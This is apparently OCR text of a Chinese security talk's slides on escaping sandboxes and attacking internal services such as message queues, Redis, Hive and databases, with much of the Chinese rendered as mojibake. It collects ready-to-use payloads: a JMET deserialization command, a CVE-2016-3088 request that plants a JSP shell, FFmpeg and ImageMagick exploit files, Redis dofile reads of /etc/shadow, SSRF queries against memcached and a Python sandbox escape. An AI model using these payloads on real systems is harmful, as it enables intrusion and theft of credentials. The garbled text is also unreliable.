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e Team of n0trO0t ( http://www.n0trOOt.com/ )
¢ ID: Demon ({:1& : DemonEDemo)
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| ZFmREER - (SandBox)

o IDTEREHIRTE T T miF AR

e HIXE. Be3E. AFPTURE
-BIAE : JSM. PHP disabled function

-&523/= : Docker, Linux namespace, cgroup

-FFPTPRIRE - &/ MBREN

* avoid be root, use linux capability
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WG EHHRSS
- FEEEE A  Kafka, ActiveMQ. RabbitMQ. OpenJMSZ
- SFRIRSSHESE : Dubbo, zookeeper, TAF

WEHEAT

- Load eval Mbean via “getMBeansFromURL"  ( http:/www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html )

- Java }i}?ﬁlj'f'{ﬁ,)r:ﬁ,[ﬁ_] ( http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/ )

- XMLELREAN, st RIEERRS
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http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/

Use Java Message Exploitation Tool (JMET)
* Apache ActiveMQ

* Redhat/Apache HornetQ

* Oracle OpenMQ

* IBM WebSphereMQ

* Pivotal RabbitMQ

e [IT Software SwiftMQ

* Apache ActiveMQ Artemis

* Apache QPID JMS

* Apache QPID Client

LBt : https://github.com/matthiaskaiser/jmet

BRI
> java -jar jmet-0.1.0-all jar -Q event -I ActiveMQ -Y xterm 127.0.0.1 61616
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https://github.com/matthiaskaiser/jmet

ActiveMQ CVE-2016-3088

PUT /fileserver/shell.txt HTTP/1.1
Host: x.x.x.X
Content-Length: 16

MOVE /fileserver/shell.txt HTTP/1.1
Destination: file:///usr/local/apache-activemq-5.7.0/webapps/shell.jsp
Host: x.x.x.x
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o FENEEREZRIRIA ( hue. splunk

cacti, jekins, zabbix, zenoss, elasticsearch )

14



Use hiveSQL to read file

Vetantors Marager

o Hive Editor RMGRE anal Ssnan  Dee

L L
I LOAD DATA LOCAL TNPATH "/eto/passwd” INTO TAMLE demon)
uRs oo 1 seleot * from demon)
Lol .
L E 7
2 ro». wn son—t wan
B demon =8

D sa (varchan 100))

0 roct 0.0 rect oot tirvbash
1 Binax: |- b fbiasbininciogin

x22 Jabuin Ssbievrckoge
2dmx ¥ 4 adm Naradm sinnologn
Ipx4.) 1p Aver'spookiod abr/sclogn
SY"C S U SynG /s evsyrc
shutdown x 6.0 sh Jatan

L L I~

File Browser

,l{
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* RedissRIFAIE]

* Mongodb>R{Z/&i31a]
* RsyncRIERIIE]

* MemcacheRIZAi7IE]
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FFmpeg:
//exp.m3u8

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,
concat:http://xxx/test.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

ImageMagick:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-1a)
pop graphic-context
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root®instance-88zyol3k:~#

redis.zpwytqidizik.scs.by.

(error) ERR Error running

redis.zpwytqidizik.scs.by.

(error) ERR Error running

redis.zpwytqidizjk.scs.bj.

(error) ERR Error running

redis.zpwytqidizjk.scs.bj.

(error) ERR Error running

redis.zpwytqidizjk.scs.bj.

(error) ERR Error running

redis.zpwytqidizjk.scs.bj o

(error) ERR Error running

redis.zpwytqidizijk.scs.bj .}

redis-cli ~h

: . COm;
script (call
Sinlo .com
script (call

minlegp . com:
script (call

.com:
script (call
} : .com:
script (call
: .com;
script (call
). Com:

6379

redis.zpwytqidizjk.scs.bj. .com -p 6379
6379> EVAL "return dofile('/proc/1/')" @

to f_2f19389505fee8d2Shb2dfa%aaaba97434e47925a):
EVAL "return dofile('/proc/1/omdline')" O
to f_3e6f3a8fc19391d6724a7d742bdabdfbd47df7e2):
6379> EVAL "return dofile('/proc/2/cmd')" ©

to f_S5d6514497c12ea79b49019604595c5f6d1d5d4ae):
6379> EVAL "return dofile('/etc/passwd’')" ©

to f_08c011fe3%1ccfOf929e4157315420760161e767):
6379> EVAL "return dofile('/etc/shadow’)" @

to f_3f4029d46036d150bdcbcbedc838c36084a13250):
6379 EVAL "return dofile('/var/log/secure')"” 0
to f_41faf9893c1725a24ed147ceb8daalB3154606e0):
6379 |}

cannot read /proc/1l/: 1Is a directory

/proc/1/cmdline:1: unexpected symbol near /'

cannot read /proc/2Z/cowd: Is a directory

/etc/shadow:1: "<name>' expected neor 'S’

/var/log/secure:l: '«' expected near '3’

/etc/passwd:1: function arguments expected near




Redis evali§<$H{TdofileBEER B R

$>EVAL "return dofile('/etc/passwd")" 0

EVAL "return dofile('/etc/shadow')" 0
3f4029d46036d150bdcocbedc838c36084af3250): /etc/shadow:1: '<name>' expected near '$'

EVAL "return dofile('/var/log/secure')" 0
41faf9893c1725a24ed147ce68daal@31546a6ea): /var/log/secure:1l: '=' expected near '3’




* Mongodb SSRF
>db.copyDatabase("\nstats\nquit",'test’,'localhost:11211")

* Postgres SSRF

>SELECT dblink_send_query(‘host=127.0.0.1 dbname=quit user=\"\nstats\n\' password=1 port=11211
ssimode=disable’,'select version();");

e CouchDB SSRF

POST http://couchdb:5984/ replicate
ContentType: application/json

Accept: application/json

{

"source" : "recipes”,

"target” : "http://secretdb:11211/recipes”,

}
kiR {(SSRFbible Cheatsheet)
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- FFmpeg SSRF & {ERE3{4HEEY
- ImageMagick RCE
- Linux local privileges escape

- CVE ...
FLE. PPRIRENBEELFES
- pythonibfaset

- php bypass dlsable_functions
- redis HUTIUaBIAKIZEIR S5 28 34
- mysql. mssql BRI ETEEY EREA

e M5 RAPBEER 2 65

- (MSSQL. Mongodb, Postgres, CouchDB) SSRF
- ZIRGBIEHRFEEO)BEET LK

)
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[REERINE THAEES BT

[ serverl J [ server2 ] [ server3 ] [ serverN ]

g
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[REERINE THAEES BT

[ serverl J [ server2 ] [ server3 ] [ serverN ]
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[REERINE THAEES BT

( server3 )

2z
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[REERINE THAEES BT

( serverl

( server2 )

( serverb )

( server4 )

‘\T/

server3 )

/ \

serverN )

g
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H & BRPCHEEERLHIT

o4 5080

User Monual

List sultiple gflogs with glob patterns (Use $ insteod of 7 to mo
Change o gflog, validato . User is res sible for threod

List the bver

loSk * List multiple Bvors with glob potterns (Use $ insteod of

olls before the time
N RPC Is ot most before the ¢
filters: win : in_regues sponse_size, code
dis N
oce 1d is N ond
(disabled)
g heap (disabled)
1ing growth of heap (disabled)
wrl «H "Content-Type: applic / d ON" 19 L2418 - / < : Coll method by Mitpsy
/version Version of this se
/Mol th Test healthy
Nog List ell1 WLOG col

/sockets Check stotus of



R BRPCAMMERNRBEHIT

QR 5052 1 otspotsioontention Niew/etcAbase-Jla

« c

P oam DBwooysn G coteer L rootkt @ Saawp News e HakS - Home B AI commands [eer PO The We

status vars

[ote « |lm)

connections

/home/asd/ace/canonitor /bin/camonitor

Joron

acpi

aditine

aliaseo

alissen. .o

alsa

altersatives
anscrontad

asousd, cont

at . dezy

avdisp

audic

avani
bash_completion.d
bashre

blkia
bonobo-activation
capi.cont

ca.pid

cas.conf
centos-relsase
egooafig.cont
cgrulen.cont
cgenapahot _blacklist.cont
ehkoonfig.d
compat-open=pl-pan-32846_ 64
compat—openmpil-x86 (4
Consnlexit

cron.d

cron.daily

flags

rpae

Ppu

heap

&
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« AEEHREREN S
s AR ETIH
« ZEERIEKRAS

o XM= mANERKEE
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o EJEINBE (CDN. ZWAF)

o WHRBIT+AERS (FRRS >1EHE ->HNIIP)

o MEZRIE. @A (APIMX. ZBIE. BalmMEEARS)

 HEHE (BIHEME. MRERRIEX)
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AR B AR K -
SCHHEER. BRI
SOMIT. DL

SSRF

pythonibfasad

>>> []. _Class_._base_._subolasses_()[58]._

<module 'os' from 'fusr/lib64/python2.7/o0s.pyc'>

init

__func_globals['linecache'].__

dict

__.values()[14]
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R %5 How to hack:

o RN BRSO BRIEFH, TR AINBEMEARRER
» IR LFIMMBINESHIFEIEAX R

o SHRAMPTAREEMEINFIRAHTIR

o ZEETNREFSIFRITMN AT XS /=

o KEMX, Find vulnerable
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